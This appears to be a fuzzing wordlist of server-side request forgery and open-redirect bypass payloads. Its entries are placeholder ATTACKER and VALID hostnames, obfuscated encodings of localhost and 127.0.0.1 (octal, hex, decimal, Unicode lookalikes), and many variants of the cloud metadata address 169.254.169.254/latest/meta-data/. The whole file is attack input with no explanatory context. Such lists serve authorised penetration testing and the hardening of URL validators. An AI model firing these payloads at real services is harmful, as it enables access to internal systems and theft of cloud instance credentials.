\tATTACKER
\nATTACKER
\r\n//ATTACKER
\r\n\\\\ATTACKER
http://::FFFF:169.254.169.254/latest/meta-data/
[::]
[::%25ATTACKER]
[::%ATTACKER]
[::1]
[::ffff:0.0.0.0]
[::ffff:0000:0000]
http://[::FFFF:169.254.169.254]/latest/meta-data/
[::ffff:7f00:1]
[::\ufb00\ufb00:7f00:1]
http://[::\ufb00\ufb00:A9FE:A9FE]/latest/meta-data/
http://[::FFFF:A9FE:A9FE]/latest/meta-data/
[0:0:0:0:0:ffff:127.0.0.1]
[0:0:0:0:0:ffff:1\u3257.0.0.1]
[0:0:0:0:0:ffff:\u246b7.0.0.1]
[0:0:0:0:0:\ufb00\ufb00:127.0.0.1]
http://[0:0:0:0:0:\ufb00\ufb00:169.254.169.254]/latest/meta-data/
http://[0:0:0:0:0:FFFF:A9FE:A9FE]/latest/meta-data/
[0000::1]
[0000:0000:0000:0000:0000:0000:0000:0000]
[0000:0000:0000:0000:0000:0000:0000:0001]
http://[FD00:EC2::254]/latest/meta-data/
[v1.ATTACKER]
@0
@ATTACKER
http:@ATTACKER
https:@ATTACKER
///ATTACKER
//ATTACKER
/\\ATTACKER
/&bsol;/ATTACKER
/&NewLine;/ATTACKER
/&sol;/ATTACKER
/&Tab;/ATTACKER
\\\t\\ATTACKER
\\\n\\ATTACKER
\\/\\/ATTACKER
\\/ATTACKER
\\\\ATTACKER
http:\\\\ATTACKER\\
\\l\\o\\c\\a\\l\\h\\o\\s\\t
#ATTACKER
0
0:80
0.0.0.0
0000.0000.0000.0000
00000177.00000000.00000000.00000001
0177.0000.0000.0001
017700000001
0\u2470700000001
http://0251.0376.0251.0376/latest/meta-data/
0x00000000
0x100000000
0x17f000001
0x17f000002
http://0x1A9FEA9FE/latest/meta-data/
0x7F.0.0000.00000001
0x7F.0.0000.0001
0x7f.0x00.0x00.0x01
0x7f.0x00.0x00.0x02
0x7F.1
0x7f000001
0x7f000002
http://0xA9.0xFE.0xA9.0xFE/latest/meta-data/
http://0xA9.254.0251.0376/latest/meta-data/
127.0.0.1
1\u3257.0.0.1
\u246b7.0.0.1
127.0.0.2
1\u3257.0.0.2
\u246b7.0.0.2
127.000000000000000.1
127.1
http://169.16689662/latest/meta-data/
http://169.254.169.254/latest/meta-data/
http://169.254.43518/latest/meta-data/
2130706433
21307064\u325d
2130706\u32b83
21\u325a706433
2\u246c0706433
\u325130706433
\u3251\u325a\u2466\u24ea\u2465\u2463\u325d
http://2852039166/latest/meta-data/
45080379393
http://45801712126/latest/meta-data/
http://anythingVALID
anythingVALID
http:ATTACKER
https:ATTACKER
\u0001http://ATTACKER
\u0002http://ATTACKER
\u0003http://ATTACKER
\u0004http://ATTACKER
\u0005http://ATTACKER
\u0006http://ATTACKER
\u0007http://ATTACKER
\bhttp://ATTACKER
\thttp://ATTACKER
\nhttp://ATTACKER
\u000bhttp://ATTACKER
\fhttp://ATTACKER
\rhttp://ATTACKER
\u000ehttp://ATTACKER
\u000fhttp://ATTACKER
\u0010http://ATTACKER
\u0011http://ATTACKER
\u0012http://ATTACKER
\u0013http://ATTACKER
\u0014http://ATTACKER
\u0015http://ATTACKER
\u0016http://ATTACKER
\u0017http://ATTACKER
\u0018http://ATTACKER
\u0019http://ATTACKER
\u001ahttp://ATTACKER
\u001bhttp://ATTACKER
\u001chttp://ATTACKER
\u001dhttp://ATTACKER
\u001ehttp://ATTACKER
\u001fhttp://ATTACKER
 http://ATTACKER
h\tttp://ATTACKER
h\nttp://ATTACKER
h\rttp://ATTACKER
http\t://ATTACKER
http\n://ATTACKER
http\r://ATTACKER
\thttp\t://ATTACKER
\nhttp\n://ATTACKER
\rhttp\r://ATTACKER
http:/\\ATTACKER
http:/\\\\ATTACKER
http:\\\\ATTACKER
http:\\ATTACKER
http:/ATTACKER
http:/0/ATTACKER
\u200bATTACKER
\u2060ATTACKER
\u00adATTACKER
ATTACKER\tVALID
ATTACKER\nVALID
ATTACKER\r\nVALID
ATTACKER\rVALID
ATTACKER\u2028VALID
ATTACKER\u2029VALID
ATTACKER @VALID
ATTACKER &@VALID
ATTACKER VALID
ATTACKER;https://VALID
ATTACKER\u2a74VALID
ATTACKER:\\@@VALID
0://ATTACKER:80;http://VALID:80/
ATTACKER\uff1aVALID
ATTACKER\ufe55VALID
ATTACKER\ufe13VALID
ATTACKER\u2049VALID
ATTACKER\u2048VALID
ATTACKER\u2047VALID
ATTACKER?=.VALID
ATTACKER?=VALID
ATTACKER?http://VALID
ATTACKER?https://VALID
ATTACKER?VALID
ATTACKER\uff1fVALID
ATTACKER\ufe56VALID
ATTACKER\ufe16VALID
ATTACKER..
ATTACKER\u2026VALID
ATTACKER\ufe19VALID
ATTACKER\u2025VALID
ATTACKER\ufe30VALID
http://ATTACKER.VALID
ATTACKER.VALID
ATTACKER\uff0eVALID
ATTACKER\u2024VALID
ATTACKER\ufe52VALID
ATTACKER@@VALID
ATTACKER@VALID
ATTACKER\uff20VALID
ATTACKER\ufe6bVALID
ATTACKER/?d=VALID
ATTACKER/.VALID
ATTACKER///VALID
ATTACKER/VALID
ATTACKER\uff0fVALID
ATTACKER\\.VALID
ATTACKER\\@@VALID
ATTACKER\\anything@VALID
ATTACKER\\VALID
ATTACKER\uff3cVALID
ATTACKER\ufe68VALID
ATTACKER\uff06VALID
ATTACKER\ufe60VALID
ATTACKER#@VALID
ATTACKER#\\@VALID
ATTACKER#VALID
ATTACKER\uff03VALID
ATTACKER\ufe5fVALID
ATTACKER%0d%0a@VALID
ATTACKER%23@VALID
ATTACKER%2e@VALID
ATTACKER%2f@VALID
ATTACKER%3a443.VALID
ATTACKER%ffVALID
ATTACKER+@VALID
ATTACKER+&@VALID
ATTACKER\u2488VALID
ATTACKER\u2491VALID
ATTACKER\u2492VALID
ATTACKER\u2493VALID
ATTACKER\u2494VALID
ATTACKER\u2495VALID
ATTACKER\u2496VALID
ATTACKER\u2497VALID
ATTACKER\u2498VALID
ATTACKER\u2499VALID
ATTACKER\u249aVALID
ATTACKER\u2489VALID
ATTACKER\u249bVALID
ATTACKER\u248aVALID
ATTACKER\u248bVALID
ATTACKER\u248cVALID
ATTACKER\u248dVALID
ATTACKER\u248eVALID
ATTACKER\u248fVALID
ATTACKER\u2490VALID
ATTACKER\u33c2VALID
ATTACKER\u2100VALID
ATTACKER\u2101VALID
ATTACKER\u2105VALID
ATTACKER\u2106VALID
ATTACKER\u33c7VALID
ATTACKER\u33d8VALID
ATTACKER\ud83cVALID
foo@ATTACKER @VALID
foo@ATTACKER:443@VALID
http://instance-data/latest/meta-data/
localhost
\u00adlocalhost
\u034flocalhost
\u180blocalhost
\u180clocalhost
\u180dlocalhost
\u180elocalhost
\u180flocalhost
\u200blocalhost
\u2060localhost
\u2064localhost
localho\ufb06
lo\u3388host
localho\ufb05
http://localhost.ATTACKER/
localhost.ATTACKER/
http://sVALID/
VALID &@ATTACKER# @ATTACKER
VALID;.ATTACKER
VALID:@ATTACKER
VALID:443:\\@@ATTACKER
VALID:443\\@ATTACKER
VALID:443#\\@ATTACKER
VALID:anything@ATTACKER
VALID?@ATTACKER
VALID._.ATTACKER
VALID.-.ATTACKER
VALID.,.ATTACKER
VALID.;.ATTACKER
VALID.!.ATTACKER
VALID.'.ATTACKER
VALID.\".ATTACKER
VALID.(.ATTACKER
VALID.).ATTACKER
VALID.{.ATTACKER
VALID.}.ATTACKER
VALID.*.ATTACKER
VALID.&.ATTACKER
VALID.`.ATTACKER
VALID.+.ATTACKER
VALID.=.ATTACKER
VALID.~.ATTACKER
VALID.$.ATTACKER
VALID.ATTACKER
VALID.local
VALID.localhost
VALID[@ATTACKER
VALID@ATTACKER
VALID\\;@ATTACKER
VALID&anything@ATTACKER
VALID#ATTACKER
VALID%23ATTACKER
VALIDATTACKER
\u0000http://ATTACKER
ATTACKER?\u0000VALID
ATTACKER#\u0000VALID
ATTACKER\u0000VALID